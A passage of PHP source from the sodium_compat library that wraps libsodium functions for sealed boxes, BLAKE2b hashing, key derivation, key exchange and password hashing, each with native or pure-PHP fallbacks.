FalsableReturnStatement */ return sodium_crypto_box_seal_open($ciphertext, $keypair); } if (self::use_fallback('crypto_box_seal_open')) { return call_user_func('\\Sodium\\crypto_box_seal_open', $ciphertext, $keypair); } if (PHP_INT_SIZE === 4) { return ParagonIE_Sodium_Crypto32::box_seal_open($ciphertext, $keypair); } return ParagonIE_Sodium_Crypto::box_seal_open($ciphertext, $keypair); } /** * Generate a new random X25519 keypair. * * @return string A 64-byte string; the first 32 are your secret key, while * the last 32 are your public key. crypto_box_secretkey() * and crypto_box_publickey() exist to separate them so you * don't accidentally get them mixed up! * @throws SodiumException * @throws TypeError * @psalm-suppress MixedArgument */ public static function crypto_box_keypair() { if (self::useNewSodiumAPI()) { return (string) sodium_crypto_box_keypair(); } if (self::use_fallback('crypto_box_keypair')) { return (string) call_user_func('\\Sodium\\crypto_box_keypair'); } if (PHP_INT_SIZE === 4) { return ParagonIE_Sodium_Crypto32::box_keypair(); } return ParagonIE_Sodium_Crypto::box_keypair(); } /** * Combine two keys into a keypair for use in library methods that expect * a keypair. This doesn't necessarily have to be the same person's keys. * * @param string $secretKey Secret key * @param string $publicKey Public key * @return string Keypair * @throws SodiumException * @throws TypeError * @psalm-suppress MixedArgument */ public static function crypto_box_keypair_from_secretkey_and_publickey( #[\SensitiveParameter] $secretKey, $publicKey ) { /* Type checks: */ ParagonIE_Sodium_Core_Util::declareScalarType($secretKey, 'string', 1); ParagonIE_Sodium_Core_Util::declareScalarType($publicKey, 'string', 2); /* Input validation: */ if (ParagonIE_Sodium_Core_Util::strlen($secretKey) !== self::CRYPTO_BOX_SECRETKEYBYTES) { throw new SodiumException('Argument 1 must be CRYPTO_BOX_SECRETKEYBYTES long.'); } if (ParagonIE_Sodium_Core_Util::strlen($publicKey) !== self::CRYPTO_BOX_PUBLICKEYBYTES) { throw new SodiumException('Argument 2 must be CRYPTO_BOX_PUBLICKEYBYTES long.'); } if (self::useNewSodiumAPI()) { return (string) sodium_crypto_box_keypair_from_secretkey_and_publickey($secretKey, $publicKey); } if (self::use_fallback('crypto_box_keypair_from_secretkey_and_publickey')) { return (string) call_user_func('\\Sodium\\crypto_box_keypair_from_secretkey_and_publickey', $secretKey, $publicKey); } if (PHP_INT_SIZE === 4) { return ParagonIE_Sodium_Crypto32::box_keypair_from_secretkey_and_publickey($secretKey, $publicKey); } return ParagonIE_Sodium_Crypto::box_keypair_from_secretkey_and_publickey($secretKey, $publicKey); } /** * Decrypt a message previously encrypted with crypto_box(). * * @param string $ciphertext Encrypted message * @param string $nonce Number to only be used Once; must be 24 bytes * @param string $keypair Your secret key and the sender's public key * @return string The original plaintext message * @throws SodiumException * @throws TypeError * @psalm-suppress MixedArgument * @psalm-suppress MixedInferredReturnType * @psalm-suppress MixedReturnStatement */ public static function crypto_box_open( $ciphertext, $nonce, #[\SensitiveParameter] $keypair ) { /* Type checks: */ ParagonIE_Sodium_Core_Util::declareScalarType($ciphertext, 'string', 1); ParagonIE_Sodium_Core_Util::declareScalarType($nonce, 'string', 2); ParagonIE_Sodium_Core_Util::declareScalarType($keypair, 'string', 3); /* Input validation: */ if (ParagonIE_Sodium_Core_Util::strlen($ciphertext) < self::CRYPTO_BOX_MACBYTES) { throw new SodiumException('Argument 1 must be at least CRYPTO_BOX_MACBYTES long.'); } if (ParagonIE_Sodium_Core_Util::strlen($nonce) !== self::CRYPTO_BOX_NONCEBYTES) { throw new SodiumException('Argument 2 must be CRYPTO_BOX_NONCEBYTES long.'); } if (ParagonIE_Sodium_Core_Util::strlen($keypair) !== self::CRYPTO_BOX_KEYPAIRBYTES) { throw new SodiumException('Argument 3 must be CRYPTO_BOX_KEYPAIRBYTES long.'); } if (self::useNewSodiumAPI()) { /** * @psalm-suppress InvalidReturnStatement * @psalm-suppress FalsableReturnStatement */ return sodium_crypto_box_open($ciphertext, $nonce, $keypair); } if (self::use_fallback('crypto_box_open')) { return call_user_func('\\Sodium\\crypto_box_open', $ciphertext, $nonce, $keypair); } if (PHP_INT_SIZE === 4) { return ParagonIE_Sodium_Crypto32::box_open($ciphertext, $nonce, $keypair); } return ParagonIE_Sodium_Crypto::box_open($ciphertext, $nonce, $keypair); } /** * Extract the public key from a crypto_box keypair. * * @param string $keypair Keypair containing secret and public key * @return string Your crypto_box public key * @throws SodiumException * @throws TypeError * @psalm-suppress MixedArgument */ public static function crypto_box_publickey( #[\SensitiveParameter] $keypair ) { /* Type checks: */ ParagonIE_Sodium_Core_Util::declareScalarType($keypair, 'string', 1); /* Input validation: */ if (ParagonIE_Sodium_Core_Util::strlen($keypair) !== self::CRYPTO_BOX_KEYPAIRBYTES) { throw new SodiumException('Argument 1 must be CRYPTO_BOX_KEYPAIRBYTES long.'); } if (self::useNewSodiumAPI()) { return (string) sodium_crypto_box_publickey($keypair); } if (self::use_fallback('crypto_box_publickey')) { return (string) call_user_func('\\Sodium\\crypto_box_publickey', $keypair); } if (PHP_INT_SIZE === 4) { return ParagonIE_Sodium_Crypto32::box_publickey($keypair); } return ParagonIE_Sodium_Crypto::box_publickey($keypair); } /** * Calculate the X25519 public key from a given X25519 secret key. * * @param string $secretKey Any X25519 secret key * @return string The corresponding X25519 public key * @throws SodiumException * @throws TypeError * @psalm-suppress MixedArgument */ public static function crypto_box_publickey_from_secretkey( #[\SensitiveParameter] $secretKey ) { /* Type checks: */ ParagonIE_Sodium_Core_Util::declareScalarType($secretKey, 'string', 1); /* Input validation: */ if (ParagonIE_Sodium_Core_Util::strlen($secretKey) !== self::CRYPTO_BOX_SECRETKEYBYTES) { throw new SodiumException('Argument 1 must be CRYPTO_BOX_SECRETKEYBYTES long.'); } if (self::useNewSodiumAPI()) { return (string) sodium_crypto_box_publickey_from_secretkey($secretKey); } if (self::use_fallback('crypto_box_publickey_from_secretkey')) { return (string) call_user_func('\\Sodium\\crypto_box_publickey_from_secretkey', $secretKey); } if (PHP_INT_SIZE === 4) { return ParagonIE_Sodium_Crypto32::box_publickey_from_secretkey($secretKey); } return ParagonIE_Sodium_Crypto::box_publickey_from_secretkey($secretKey); } /** * Extract the secret key from a crypto_box keypair. * * @param string $keypair * @return string Your crypto_box secret key * @throws SodiumException * @throws TypeError * @psalm-suppress MixedArgument */ public static function crypto_box_secretkey( #[\SensitiveParameter] $keypair ) { /* Type checks: */ ParagonIE_Sodium_Core_Util::declareScalarType($keypair, 'string', 1); /* Input validation: */ if (ParagonIE_Sodium_Core_Util::strlen($keypair) !== self::CRYPTO_BOX_KEYPAIRBYTES) { throw new SodiumException('Argument 1 must be CRYPTO_BOX_KEYPAIRBYTES long.'); } if (self::useNewSodiumAPI()) { return (string) sodium_crypto_box_secretkey($keypair); } if (self::use_fallback('crypto_box_secretkey')) { return (string) call_user_func('\\Sodium\\crypto_box_secretkey', $keypair); } if (PHP_INT_SIZE === 4) { return ParagonIE_Sodium_Crypto32::box_secretkey($keypair); } return ParagonIE_Sodium_Crypto::box_secretkey($keypair); } /** * Generate an X25519 keypair from a seed. * * @param string $seed * @return string * @throws SodiumException * @throws TypeError * @psalm-suppress MixedArgument * @psalm-suppress UndefinedFunction */ public static function crypto_box_seed_keypair( #[\SensitiveParameter] $seed ) { /* Type checks: */ ParagonIE_Sodium_Core_Util::declareScalarType($seed, 'string', 1); if (self::useNewSodiumAPI()) { return (string) sodium_crypto_box_seed_keypair($seed); } if (self::use_fallback('crypto_box_seed_keypair')) { return (string) call_user_func('\\Sodium\\crypto_box_seed_keypair', $seed); } if (PHP_INT_SIZE === 4) { return ParagonIE_Sodium_Crypto32::box_seed_keypair($seed); } return ParagonIE_Sodium_Crypto::box_seed_keypair($seed); } /** * Calculates a BLAKE2b hash, with an optional key. * * @param string $message The message to be hashed * @param string|null $key If specified, must be a string between 16 * and 64 bytes long * @param int $length Output length in bytes; must be between 16 * and 64 (default = 32) * @return string Raw binary * @throws SodiumException * @throws TypeError * @psalm-suppress MixedArgument */ public static function crypto_generichash( $message, #[\SensitiveParameter] $key = '', $length = self::CRYPTO_GENERICHASH_BYTES ) { /* Type checks: */ ParagonIE_Sodium_Core_Util::declareScalarType($message, 'string', 1); if (is_null($key)) { $key = ''; } ParagonIE_Sodium_Core_Util::declareScalarType($key, 'string', 2); ParagonIE_Sodium_Core_Util::declareScalarType($length, 'int', 3); /* Input validation: */ if (!empty($key)) { if (ParagonIE_Sodium_Core_Util::strlen($key) < self::CRYPTO_GENERICHASH_KEYBYTES_MIN) { throw new SodiumException('Unsupported key size. Must be at least CRYPTO_GENERICHASH_KEYBYTES_MIN bytes long.'); } if (ParagonIE_Sodium_Core_Util::strlen($key) > self::CRYPTO_GENERICHASH_KEYBYTES_MAX) { throw new SodiumException('Unsupported key size. Must be at most CRYPTO_GENERICHASH_KEYBYTES_MAX bytes long.'); } } if (self::useNewSodiumAPI()) { return (string) sodium_crypto_generichash($message, $key, $length); } if (self::use_fallback('crypto_generichash')) { return (string) call_user_func('\\Sodium\\crypto_generichash', $message, $key, $length); } if (PHP_INT_SIZE === 4) { return ParagonIE_Sodium_Crypto32::generichash($message, $key, $length); } return ParagonIE_Sodium_Crypto::generichash($message, $key, $length); } /** * Get the final BLAKE2b hash output for a given context. * * @param string $ctx BLAKE2 hashing context. Generated by crypto_generichash_init(). * @param int $length Hash output size. * @return string Final BLAKE2b hash. * @throws SodiumException * @throws TypeError * @psalm-suppress MixedArgument * @psalm-suppress ReferenceConstraintViolation * @psalm-suppress ConflictingReferenceConstraint */ public static function crypto_generichash_final( #[\SensitiveParameter] &$ctx, $length = self::CRYPTO_GENERICHASH_BYTES ) { /* Type checks: */ ParagonIE_Sodium_Core_Util::declareScalarType($ctx, 'string', 1); ParagonIE_Sodium_Core_Util::declareScalarType($length, 'int', 2); if (self::useNewSodiumAPI()) { return sodium_crypto_generichash_final($ctx, $length); } if (self::use_fallback('crypto_generichash_final')) { $func = '\\Sodium\\crypto_generichash_final'; return (string) $func($ctx, $length); } if ($length < 1) { try { self::memzero($ctx); } catch (SodiumException $ex) { unset($ctx); } return ''; } if (PHP_INT_SIZE === 4) { $result = ParagonIE_Sodium_Crypto32::generichash_final($ctx, $length); } else { $result = ParagonIE_Sodium_Crypto::generichash_final($ctx, $length); } try { self::memzero($ctx); } catch (SodiumException $ex) { unset($ctx); } return $result; } /** * Initialize a BLAKE2b hashing context, for use in a streaming interface. * * @param string|null $key If specified must be a string between 16 and 64 bytes * @param int $length The size of the desired hash output * @return string A BLAKE2 hashing context, encoded as a string * (To be 100% compatible with ext/libsodium) * @throws SodiumException * @throws TypeError * @psalm-suppress MixedArgument */ public static function crypto_generichash_init( #[\SensitiveParameter] $key = '', $length = self::CRYPTO_GENERICHASH_BYTES ) { /* Type checks: */ if (is_null($key)) { $key = ''; } ParagonIE_Sodium_Core_Util::declareScalarType($key, 'string', 1); ParagonIE_Sodium_Core_Util::declareScalarType($length, 'int', 2); /* Input validation: */ if (!empty($key)) { if (ParagonIE_Sodium_Core_Util::strlen($key) < self::CRYPTO_GENERICHASH_KEYBYTES_MIN) { throw new SodiumException('Unsupported key size. Must be at least CRYPTO_GENERICHASH_KEYBYTES_MIN bytes long.'); } if (ParagonIE_Sodium_Core_Util::strlen($key) > self::CRYPTO_GENERICHASH_KEYBYTES_MAX) { throw new SodiumException('Unsupported key size. Must be at most CRYPTO_GENERICHASH_KEYBYTES_MAX bytes long.'); } } if (self::useNewSodiumAPI()) { return sodium_crypto_generichash_init($key, $length); } if (self::use_fallback('crypto_generichash_init')) { return (string) call_user_func('\\Sodium\\crypto_generichash_init', $key, $length); } if (PHP_INT_SIZE === 4) { return ParagonIE_Sodium_Crypto32::generichash_init($key, $length); } return ParagonIE_Sodium_Crypto::generichash_init($key, $length); } /** * Initialize a BLAKE2b hashing context, for use in a streaming interface. * * @param string|null $key If specified must be a string between 16 and 64 bytes * @param int $length The size of the desired hash output * @param string $salt Salt (up to 16 bytes) * @param string $personal Personalization string (up to 16 bytes) * @return string A BLAKE2 hashing context, encoded as a string * (To be 100% compatible with ext/libsodium) * @throws SodiumException * @throws TypeError * @psalm-suppress MixedArgument */ public static function crypto_generichash_init_salt_personal( #[\SensitiveParameter] $key = '', $length = self::CRYPTO_GENERICHASH_BYTES, $salt = '', $personal = '' ) { /* Type checks: */ if (is_null($key)) { $key = ''; } ParagonIE_Sodium_Core_Util::declareScalarType($key, 'string', 1); ParagonIE_Sodium_Core_Util::declareScalarType($length, 'int', 2); ParagonIE_Sodium_Core_Util::declareScalarType($salt, 'string', 3); ParagonIE_Sodium_Core_Util::declareScalarType($personal, 'string', 4); $salt = str_pad($salt, 16, "\0", STR_PAD_RIGHT); $personal = str_pad($personal, 16, "\0", STR_PAD_RIGHT); /* Input validation: */ if (!empty($key)) { /* if (ParagonIE_Sodium_Core_Util::strlen($key) < self::CRYPTO_GENERICHASH_KEYBYTES_MIN) { throw new SodiumException('Unsupported key size. Must be at least CRYPTO_GENERICHASH_KEYBYTES_MIN bytes long.'); } */ if (ParagonIE_Sodium_Core_Util::strlen($key) > self::CRYPTO_GENERICHASH_KEYBYTES_MAX) { throw new SodiumException('Unsupported key size. Must be at most CRYPTO_GENERICHASH_KEYBYTES_MAX bytes long.'); } } if (PHP_INT_SIZE === 4) { return ParagonIE_Sodium_Crypto32::generichash_init_salt_personal($key, $length, $salt, $personal); } return ParagonIE_Sodium_Crypto::generichash_init_salt_personal($key, $length, $salt, $personal); } /** * Update a BLAKE2b hashing context with additional data. * * @param string $ctx BLAKE2 hashing context. Generated by crypto_generichash_init(). * $ctx is passed by reference and gets updated in-place. * @param-out string $ctx * @param string $message The message to append to the existing hash state. * @return void * @throws SodiumException * @throws TypeError * @psalm-suppress MixedArgument * @psalm-suppress ReferenceConstraintViolation */ public static function crypto_generichash_update( #[\SensitiveParameter] &$ctx, $message ) { /* Type checks: */ ParagonIE_Sodium_Core_Util::declareScalarType($ctx, 'string', 1); ParagonIE_Sodium_Core_Util::declareScalarType($message, 'string', 2); if (self::useNewSodiumAPI()) { sodium_crypto_generichash_update($ctx, $message); return; } if (self::use_fallback('crypto_generichash_update')) { $func = '\\Sodium\\crypto_generichash_update'; $func($ctx, $message); return; } if (PHP_INT_SIZE === 4) { $ctx = ParagonIE_Sodium_Crypto32::generichash_update($ctx, $message); } else { $ctx = ParagonIE_Sodium_Crypto::generichash_update($ctx, $message); } } /** * @return string * @throws Exception * @throws Error */ public static function crypto_generichash_keygen() { return random_bytes(self::CRYPTO_GENERICHASH_KEYBYTES); } /** * @param int $subkey_len * @param int $subkey_id * @param string $context * @param string $key * @return string * @throws SodiumException */ public static function crypto_kdf_derive_from_key( $subkey_len, $subkey_id, $context, #[\SensitiveParameter] $key ) { ParagonIE_Sodium_Core_Util::declareScalarType($subkey_len, 'int', 1); ParagonIE_Sodium_Core_Util::declareScalarType($subkey_id, 'int', 2); ParagonIE_Sodium_Core_Util::declareScalarType($context, 'string', 3); ParagonIE_Sodium_Core_Util::declareScalarType($key, 'string', 4); $subkey_id = (int) $subkey_id; $subkey_len = (int) $subkey_len; $context = (string) $context; $key = (string) $key; if ($subkey_len < self::CRYPTO_KDF_BYTES_MIN) { throw new SodiumException('subkey cannot be smaller than SODIUM_CRYPTO_KDF_BYTES_MIN'); } if ($subkey_len > self::CRYPTO_KDF_BYTES_MAX) { throw new SodiumException('subkey cannot be larger than SODIUM_CRYPTO_KDF_BYTES_MAX'); } if ($subkey_id < 0) { throw new SodiumException('subkey_id cannot be negative'); } if (ParagonIE_Sodium_Core_Util::strlen($context) !== self::CRYPTO_KDF_CONTEXTBYTES) { throw new SodiumException('context should be SODIUM_CRYPTO_KDF_CONTEXTBYTES bytes'); } if (ParagonIE_Sodium_Core_Util::strlen($key) !== self::CRYPTO_KDF_KEYBYTES) { throw new SodiumException('key should be SODIUM_CRYPTO_KDF_KEYBYTES bytes'); } $salt = ParagonIE_Sodium_Core_Util::store64_le($subkey_id); $state = self::crypto_generichash_init_salt_personal( $key, $subkey_len, $salt, $context ); return self::crypto_generichash_final($state, $subkey_len); } /** * @return string * @throws Exception * @throws Error */ public static function crypto_kdf_keygen() { return random_bytes(self::CRYPTO_KDF_KEYBYTES); } /** * Perform a key exchange, between a designated client and a server. * * Typically, you would designate one machine to be the client and the * other to be the server. The first two keys are what you'd expect for * scalarmult() below, but the latter two public keys don't swap places. * * | ALICE | BOB | * | Client | Server | * |--------------------------------|-------------------------------------| * | shared = crypto_kx( | shared = crypto_kx( | * | alice_sk, | bob_sk, | <- contextual * | bob_pk, | alice_pk, | <- contextual * | alice_pk, | alice_pk, | <----- static * | bob_pk | bob_pk | <----- static * | ) | ) | * * They are used along with the scalarmult product to generate a 256-bit * BLAKE2b hash unique to the client and server keys. * * @param string $my_secret * @param string $their_public * @param string $client_public * @param string $server_public * @param bool $dontFallback * @return string * @throws SodiumException * @throws TypeError * @psalm-suppress MixedArgument */ public static function crypto_kx( #[\SensitiveParameter] $my_secret, $their_public, $client_public, $server_public, $dontFallback = false ) { /* Type checks: */ ParagonIE_Sodium_Core_Util::declareScalarType($my_secret, 'string', 1); ParagonIE_Sodium_Core_Util::declareScalarType($their_public, 'string', 2); ParagonIE_Sodium_Core_Util::declareScalarType($client_public, 'string', 3); ParagonIE_Sodium_Core_Util::declareScalarType($server_public, 'string', 4); /* Input validation: */ if (ParagonIE_Sodium_Core_Util::strlen($my_secret) !== self::CRYPTO_BOX_SECRETKEYBYTES) { throw new SodiumException('Argument 1 must be CRYPTO_BOX_SECRETKEYBYTES long.'); } if (ParagonIE_Sodium_Core_Util::strlen($their_public) !== self::CRYPTO_BOX_PUBLICKEYBYTES) { throw new SodiumException('Argument 2 must be CRYPTO_BOX_PUBLICKEYBYTES long.'); } if (ParagonIE_Sodium_Core_Util::strlen($client_public) !== self::CRYPTO_BOX_PUBLICKEYBYTES) { throw new SodiumException('Argument 3 must be CRYPTO_BOX_PUBLICKEYBYTES long.'); } if (ParagonIE_Sodium_Core_Util::strlen($server_public) !== self::CRYPTO_BOX_PUBLICKEYBYTES) { throw new SodiumException('Argument 4 must be CRYPTO_BOX_PUBLICKEYBYTES long.'); } if (self::useNewSodiumAPI() && !$dontFallback) { if (is_callable('sodium_crypto_kx')) { return (string) sodium_crypto_kx( $my_secret, $their_public, $client_public, $server_public ); } } if (self::use_fallback('crypto_kx')) { return (string) call_user_func( '\\Sodium\\crypto_kx', $my_secret, $their_public, $client_public, $server_public ); } if (PHP_INT_SIZE === 4) { return ParagonIE_Sodium_Crypto32::keyExchange( $my_secret, $their_public, $client_public, $server_public ); } return ParagonIE_Sodium_Crypto::keyExchange( $my_secret, $their_public, $client_public, $server_public ); } /** * @param string $seed * @return string * @throws SodiumException */ public static function crypto_kx_seed_keypair( #[\SensitiveParameter] $seed ) { ParagonIE_Sodium_Core_Util::declareScalarType($seed, 'string', 1); $seed = (string) $seed; if (ParagonIE_Sodium_Core_Util::strlen($seed) !== self::CRYPTO_KX_SEEDBYTES) { throw new SodiumException('seed must be SODIUM_CRYPTO_KX_SEEDBYTES bytes'); } $sk = self::crypto_generichash($seed, '', self::CRYPTO_KX_SECRETKEYBYTES); $pk = self::crypto_scalarmult_base($sk); return $sk . $pk; } /** * @return string * @throws Exception */ public static function crypto_kx_keypair() { $sk = self::randombytes_buf(self::CRYPTO_KX_SECRETKEYBYTES); $pk = self::crypto_scalarmult_base($sk); return $sk . $pk; } /** * @param string $keypair * @param string $serverPublicKey * @return array{0: string, 1: string} * @throws SodiumException */ public static function crypto_kx_client_session_keys( #[\SensitiveParameter] $keypair, $serverPublicKey ) { ParagonIE_Sodium_Core_Util::declareScalarType($keypair, 'string', 1); ParagonIE_Sodium_Core_Util::declareScalarType($serverPublicKey, 'string', 2); $keypair = (string) $keypair; $serverPublicKey = (string) $serverPublicKey; if (ParagonIE_Sodium_Core_Util::strlen($keypair) !== self::CRYPTO_KX_KEYPAIRBYTES) { throw new SodiumException('keypair should be SODIUM_CRYPTO_KX_KEYPAIRBYTES bytes'); } if (ParagonIE_Sodium_Core_Util::strlen($serverPublicKey) !== self::CRYPTO_KX_PUBLICKEYBYTES) { throw new SodiumException('public keys must be SODIUM_CRYPTO_KX_PUBLICKEYBYTES bytes'); } $sk = self::crypto_kx_secretkey($keypair); $pk = self::crypto_kx_publickey($keypair); $h = self::crypto_generichash_init(null, self::CRYPTO_KX_SESSIONKEYBYTES * 2); self::crypto_generichash_update($h, self::crypto_scalarmult($sk, $serverPublicKey)); self::crypto_generichash_update($h, $pk); self::crypto_generichash_update($h, $serverPublicKey); $sessionKeys = self::crypto_generichash_final($h, self::CRYPTO_KX_SESSIONKEYBYTES * 2); return array( ParagonIE_Sodium_Core_Util::substr( $sessionKeys, 0, self::CRYPTO_KX_SESSIONKEYBYTES ), ParagonIE_Sodium_Core_Util::substr( $sessionKeys, self::CRYPTO_KX_SESSIONKEYBYTES, self::CRYPTO_KX_SESSIONKEYBYTES ) ); } /** * @param string $keypair * @param string $clientPublicKey * @return array{0: string, 1: string} * @throws SodiumException */ public static function crypto_kx_server_session_keys( #[\SensitiveParameter] $keypair, $clientPublicKey ) { ParagonIE_Sodium_Core_Util::declareScalarType($keypair, 'string', 1); ParagonIE_Sodium_Core_Util::declareScalarType($clientPublicKey, 'string', 2); $keypair = (string) $keypair; $clientPublicKey = (string) $clientPublicKey; if (ParagonIE_Sodium_Core_Util::strlen($keypair) !== self::CRYPTO_KX_KEYPAIRBYTES) { throw new SodiumException('keypair should be SODIUM_CRYPTO_KX_KEYPAIRBYTES bytes'); } if (ParagonIE_Sodium_Core_Util::strlen($clientPublicKey) !== self::CRYPTO_KX_PUBLICKEYBYTES) { throw new SodiumException('public keys must be SODIUM_CRYPTO_KX_PUBLICKEYBYTES bytes'); } $sk = self::crypto_kx_secretkey($keypair); $pk = self::crypto_kx_publickey($keypair); $h = self::crypto_generichash_init(null, self::CRYPTO_KX_SESSIONKEYBYTES * 2); self::crypto_generichash_update($h, self::crypto_scalarmult($sk, $clientPublicKey)); self::crypto_generichash_update($h, $clientPublicKey); self::crypto_generichash_update($h, $pk); $sessionKeys = self::crypto_generichash_final($h, self::CRYPTO_KX_SESSIONKEYBYTES * 2); return array( ParagonIE_Sodium_Core_Util::substr( $sessionKeys, self::CRYPTO_KX_SESSIONKEYBYTES, self::CRYPTO_KX_SESSIONKEYBYTES ), ParagonIE_Sodium_Core_Util::substr( $sessionKeys, 0, self::CRYPTO_KX_SESSIONKEYBYTES ) ); } /** * @param string $kp * @return string * @throws SodiumException */ public static function crypto_kx_secretkey( #[\SensitiveParameter] $kp ) { return ParagonIE_Sodium_Core_Util::substr( $kp, 0, self::CRYPTO_KX_SECRETKEYBYTES ); } /** * @param string $kp * @return string * @throws SodiumException */ public static function crypto_kx_publickey($kp) { return ParagonIE_Sodium_Core_Util::substr( $kp, self::CRYPTO_KX_SECRETKEYBYTES, self::CRYPTO_KX_PUBLICKEYBYTES ); } /** * @param int $outlen * @param string $passwd * @param string $salt * @param int $opslimit * @param int $memlimit * @param int|null $alg * @return string * @throws SodiumException * @throws TypeError * @psalm-suppress MixedArgument */ public static function crypto_pwhash( $outlen, #[\SensitiveParameter] $passwd, $salt, $opslimit, $memlimit, $alg = null ) { ParagonIE_Sodium_Core_Util::declareScalarType($outlen, 'int', 1); ParagonIE_Sodium_Core_Util::declareScalarType($passwd, 'string', 2); ParagonIE_Sodium_Core_Util::declareScalarType($salt, 'string', 3); ParagonIE_Sodium_Core_Util::declareScalarType($opslimit, 'int', 4); ParagonIE_Sodium_Core_Util::declareScalarType($memlimit, 'int', 5); if (self::useNewSodiumAPI()) { if (!is_null($alg)) { ParagonIE_Sodium_Core_Util::declareScalarType($alg, 'int', 6); return sodium_crypto_pwhash($outlen, $passwd, $salt, $opslimit, $memlimit, $alg); } return sodium_crypto_pwhash($outlen, $passwd, $salt, $opslimit, $memlimit); } if (self::use_fallback('crypto_pwhash')) { return (string) call_user_func('\\Sodium\\crypto_pwhash', $outlen, $passwd, $salt, $opslimit, $memlimit); } // This is the best we can do. throw new SodiumException( 'This is not implemented, as it is not possible to implement Argon2i with acceptable performance in pure-PHP' ); } /** * !Exclusive to sodium_compat! * * This returns TRUE if the native crypto_pwhash API is available by libsodium. * This returns FALSE if only sodium_compat is available. * * @return bool */ public static function crypto_pwhash_is_available() { if (self::useNewSodiumAPI()) { return true; } if (self::use_fallback('crypto_pwhash')) { return true; } return false; } /** * @param string $passwd * @param int $opslimit * @param int $memlimit * @return string * @throws SodiumException * @throws TypeError * @psalm-suppress MixedArgument */ public static function crypto_pwhash_str( #[\SensitiveParameter] $passwd, $opslimit, $memlimit ) { ParagonIE_Sodium_Core_Util::declareScalarType($passwd, 'string', 1); ParagonIE_Sodium_Core_Util::declareScalarType($opslimit, 'int', 2); ParagonIE_Sodium_Core_Util::declareScalarType($memlimit, 'int', 3); if (self::useNewSodiumAPI()) { return sodium_crypto_pwhash_str($passwd, $opslimit, $memlimit); } if (self::use_fallback('crypto_pwhash_str')) { return (string) call_user_func('\\Sodium\\crypto_pwhash_str', $passwd, $opslimit, $memlimit); } // This is the best we can do. throw new SodiumException( 'This is not implemented, as it is not possible to implement Argon2i with acceptable performance in pure-PHP' ); } /** * Do we need to rehash this password? * * @param string $hash * @param int $opslimit * @param int $memlimit * @return bool * @throws SodiumException */ public static function crypto_pwhash_str_needs_rehash( #[\SensitiveParameter] $hash, $opslimit, $memlimit ) { ParagonIE_Sodium_Core_Util::declareScalarType($hash, 'string', 1); ParagonIE_Sodium_Core_Util::declareScalarType($opslimit, 'int', 2); ParagonIE_Sodium_Core_Util::declareScalarType($memlimit, 'int', 3); // Just grab the first 4 pieces. $pieces = explode('$', (string) $hash); $prefix = implode('$', array_slice($pieces, 0, 4)); // Rebuild the expected header. /** @var int $ops */ $ops = (int) $opslimit; /** @var int $mem */ $mem = (int) $memlimit >> 10; $encoded = self::CRYPTO_PWHASH_STRPREFIX . 'v=19$m=' . $mem . ',t=' . $ops . ',p=1'; // Do they match? If so, we don't need to rehash, so return false. return !ParagonIE_Sodium_Core_Util::hashEquals($encoded, $prefix); } /** * @param string $passwd * @param string $hash * @return bool * @throws SodiumException * @throws TypeError * @psalm-suppress MixedArgument */ public static function crypto_pwhash_str_verify( #[\SensitiveParameter] $passwd, #[\SensitiveParameter] $hash ) { ParagonIE_Sodium_Core_Util::declareScalarType($passwd, 'string', 1); ParagonIE_Sodium_Core_Util::declareScalarType($hash, 'string', 2); if (self::useNewSodiumAPI()) { return (bool) sodium_crypto_pwhash_str_verify($passwd, $hash); } if (self::use_fallback('crypto_pwhash_str_verify')) { return (bool) call_user_func('\\Sodium\\crypto_pwhash_str_verify', $passwd, $hash); } // This is the best we can do. throw new SodiumException( 'This is not implemented, as it is not possible to implement Argon2i with acceptable performance in pure-PHP' ); } /** * @param int $outlen * @param string $passwd * @param string $salt * @param int $opslimit * @param int $memlimit * @return string * @throws SodiumException * @throws TypeError */ public static function crypto_pwhash_scryptsalsa208sha256( $outlen, #[\SensitiveParameter] $passwd, $salt, $opslimit, $memlimit ) { ParagonIE_Sodium_Core_Util::declareScalarType($outlen, 'int', 1); ParagonIE_Sodium_Core_Util::declareScalarType($passwd, 'string', 2); ParagonIE_Sodium_Core_Util::declareScalarType($salt, 'string', 3); ParagonIE_Sodium_Core_Util::declareScalarType($opslimit, 'int', 4); ParagonIE_Sodium_Core_Util::declareScalarType($memlimit, 'int', 5); if (self::useNewSodiumAPI()) { return (string) sodium_crypto_pwhash_scryptsalsa208sha256( (int) $outlen, (string) $passwd, (string) $salt, (int) $opslimit, (int) $memlimit ); } if (self::use_fallback('crypto_pwhash_scryptsalsa208sha256')) { return (string) call_user_func( '\\Sodium\\crypto_pwhash_scryptsalsa208sha256', (int) $outlen, (string) $passwd, (string) $salt, (int) $opslimit, (int) $memlimit ); } // This is the best we can do. throw new SodiumException( 'This is not implemented, as it is not possible to implement Scrypt with acceptable performance in pure-PHP' ); } /** * !Exclusive to sodium_compat! * * This returns TRUE if the native crypto_pwhash API is available by libsodium. * This returns FALSE if only sodium_compat is available. * * @return bool */ public static function crypto_pwhash_scryptsalsa208sha256_is_available() { if (self::useNewSodiumAPI()) { return true; } if (self::use_fallback('crypto_pwhash_scryptsalsa208sha256')) { return true; } return false; } /** * @param string $passwd * @param int $opslimit * @param int $memlimit * @return string * @throws SodiumException * @throws TypeError */ public static function crypto_pwhash_scryptsalsa208sha256_str( #[\SensitiveParameter] $passwd, $opslimit, $memlimit ) { ParagonIE_Sodium_Core_Util::declareScalarType($passwd, 'string', 1); ParagonIE_Sodium_Core_Util::declareScalarType($opslimit, 'int', 2); ParagonIE_Sodium_Core_Util::declareScalarType($memlimit, 'int', 3); if (self::useNewSodiumAPI()) { return (string) sodium_crypto_pwhash_scryptsalsa208sha256_str( (string) $passwd, (int) $opslimit, (int) $memlimit ); } if (self::use_fallback('crypto_pwhash_scryptsalsa208sha256_str')) { return (string) call_user_func( '\\Sodium\\crypto_pwhash_scryptsalsa208sha256_str', (string) $passwd, (int) $opslimit, (int) $memlimit ); } // This is the best we can do. throw new SodiumException( 'This is not implemented, as it is not possible to implement Scrypt with acceptable performance in pure-PHP' ); } /** * @param string $passwd * @param string $hash * @return bool * @throws SodiumException * @throws TypeError */ public static function crypto_pwhash_scryptsalsa208sha256_str_verify( #[\SensitiveParameter] $passwd, #[\SensitiveParameter] $hash ) { ParagonIE_Sodium_Core_Util::declareScalarType($passwd, 'string', 1); ParagonIE_Sodium_Core_Util::declareScalarType($hash, 'string', 2); if (self::useNewSodiumAPI()) { return (bool) sodium_crypto_pwhash_scryptsalsa208sha256_str_verify( (string) $passwd, (string) $hash ); } if (self::use_fallback('crypto_pwhash_scryptsalsa208sha256_str_verify')) { return (bool) call_user_func( 